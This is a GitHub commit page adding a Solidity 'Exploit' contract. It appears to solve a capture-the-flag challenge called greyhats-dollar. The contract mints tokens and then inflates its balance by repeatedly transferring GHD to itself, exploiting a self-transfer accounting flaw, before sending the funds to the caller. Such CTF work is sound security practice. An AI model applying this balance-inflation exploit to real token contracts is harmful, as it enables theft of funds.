-
Notifications
You must be signed in to change notification settings - Fork 115
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
082711d
commit 27d7987
Showing
2 changed files
with
41 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity 0.8.15; | ||
|
||
import { Setup } from "src/greyhats-dollar/Setup.sol"; | ||
|
||
contract Exploit { | ||
Setup setup; | ||
|
||
constructor(Setup _setup) { | ||
setup = _setup; | ||
} | ||
|
||
function solve() external { | ||
// Claim 1000 GREY | ||
setup.claim(); | ||
|
||
// Mint 1000 GHD using 1000 GREY | ||
setup.grey().approve(address(setup.ghd()), 1000e18); | ||
setup.ghd().mint(1000e18); | ||
|
||
// Transfer GHD to ourselves until we have 50,000 GHD | ||
uint256 balance = setup.ghd().balanceOf(address(this)); | ||
while (balance < 50_000e18) { | ||
setup.ghd().transfer(address(this), balance); | ||
balance = setup.ghd().balanceOf(address(this)); | ||
} | ||
|
||
// Transfer all GHD to msg.sender | ||
setup.ghd().transfer(msg.sender, balance); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters